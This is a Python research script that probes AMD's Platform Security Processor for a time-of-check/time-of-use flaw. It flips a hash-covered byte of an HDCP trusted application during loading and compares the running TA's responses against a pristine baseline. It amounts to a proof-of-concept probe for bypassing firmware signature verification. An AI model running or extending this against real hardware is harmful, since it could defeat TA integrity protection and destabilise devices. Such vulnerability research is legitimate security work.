1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
|
"""STEP 1: does a flip-success load DIFFERENT bytes than were verified?
Earlier oracles only inspected the load's *verdict* (status codes, dedup), which
cannot separate "verify and load both read A" from "verify read A, load read B".
This inspects the LOADED ARTIFACT instead: run the TA and compare its behaviour
against a pristine-load baseline.
pristine load -> invoke cmd -> baseline response R0 (many times: is it stable?)
flipping load -> invoke cmd -> response R
R == R0 : loaded image behaved identically (consistent read, or the byte
does not affect this path)
R != R0 : the TA that is RUNNING differs from the one that was VERIFIED
=> verify-saw-A / load-saw-B == TOCTOU
Controls:
* baseline must be STABLE across repeats, else divergence proves nothing.
* the flipped byte must be hash-covered (pinned-corrupt must fail to load).
Safety: a corrupted TA is a sandboxed PSP process; worst case it faults and we
unload it. No IP firmware is touched (unlike the SMU reload, which hung).
"""
import ctypes, struct, sys
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
from psp_out.toctou_bridge import Flipper
P = '/Users/user/dev/amd-psp-re/psp_out/'
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
FLIP_OFF = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x800
class Beh:
def __init__(self):
self.f = Flipper(); self.adev, self.psp = self.f.adev, self.f.psp
self.f.select_method(0)
self.hdcp = open(P + 'hdcp_full.bin', 'rb').read()
self.sids = []
def alloc(self, n):
pa = self.adev.mm.palloc(n, align=0x1000, zero=True)
return pa, self.adev.paddr2mc(pa)
def stat(self):
return int.from_bytes(bytes(self.adev.vram.view(self.psp.cmd_paddr, SZ)[:])[864:868], "little")
def stage(self): self.psp._prep_msg1(memoryview(self.hdcp))
def load(self):
cp, cmc = self.alloc(0x8000)
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(self.psp.msg1_addr), lo32(self.psp.msg1_addr)
t.app_len = len(self.hdcp)
t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
try:
r = self.psp._ring_submit(c); sid = r.resp.session_id
if sid: self.sids.append(sid)
return self.stat(), sid, cp
except Exception:
return self.stat(), 0, cp
def invoke(self, sid, shm, ta_cmd=0x01, payload=None):
b = bytearray(0x8000)
if payload: b[:len(payload)] = payload
self.adev.vram.view(shm, 0x8000)[:] = bytes(b); self.adev.gmc.flush_hdp()
self.adev.vram.view(self.psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
ic = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv = ic.cmd.cmd_invoke_cmd
iv.session_id, iv.ta_cmd_id = sid, ta_cmd
try:
self.psp._ring_submit(ic); ps = 0
except RuntimeError: ps = self.stat()
except TimeoutError: return ("TIMEOUT", None)
out = bytes(self.adev.vram.view(shm, 0x40)[:])
return ps, out
def unload_all(self):
for sid in self.sids:
try:
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
c.cmd.cmd_unload_ta.session_id = sid; self.psp._ring_submit(c)
except Exception: pass
self.sids = []
def run_pristine(self):
self.unload_all(); self.f.disarm(); self.stage()
st, sid, shm = self.load()
if st or not sid: return ("LOADFAIL", st), None
return self.invoke(sid, shm), sid
def run_flipping(self, off):
self.unload_all(); self.stage()
g = self.hdcp[off]
self.f.arm(off, g, g ^ 0xFF)
st, sid, shm = self.load()
self.f.disarm()
if st or not sid: return None, st
return self.invoke(sid, shm), st
if __name__ == '__main__':
b = Beh()
print("flip offset %#x (genuine byte %#04x)\n" % (FLIP_OFF, b.hdcp[FLIP_OFF]))
print("[baseline] pristine loads, invoke cmd 0x01:")
base = []
for i in range(3):
r, sid = b.run_pristine()
print(" run %d: sid=%s resp=%s" % (i, sid, (r[0], r[1][:16].hex() if r[1] else None)))
base.append((r[0], r[1][:16] if r[1] else None))
stable = all(x == base[0] for x in base)
print(" baseline stable: %s" % stable)
print("\n[control] byte pinned corrupt must FAIL to load:")
b.unload_all(); b.stage(); b.f.poke(FLIP_OFF, b.hdcp[FLIP_OFF] ^ 0xFF)
st, sid, _ = b.load()
print(" status=%#x sid=%s -> hash-covered: %s" % (st, sid, st != 0))
covered = st != 0
if not (stable and covered):
print("\nCONTROLS FAILED -> cannot interpret divergence. Stop.")
else:
print("\n[flip] loading with byte alternating; comparing behaviour:")
div = 0
for i in range(14):
res, st = b.run_flipping(FLIP_OFF)
if res is None:
print(" %2d: load rejected (status=%#x)" % (i, st)); continue
cur = (res[0], res[1][:16] if res[1] else None)
same = (cur == base[0])
print(" %2d: LOADED, resp=%s %s" % (i, (cur[0], cur[1].hex() if cur[1] else None),
"same as baseline" if same else "*** DIVERGES ***"))
if not same: div += 1
print("\ndivergent loads: %d" % div)
if div:
print("*** The RUNNING TA differs from the VERIFIED image -> TOCTOU ***")
else:
print("no divergence: consistent with a single read (or byte off the executed path)")
b.unload_all()
|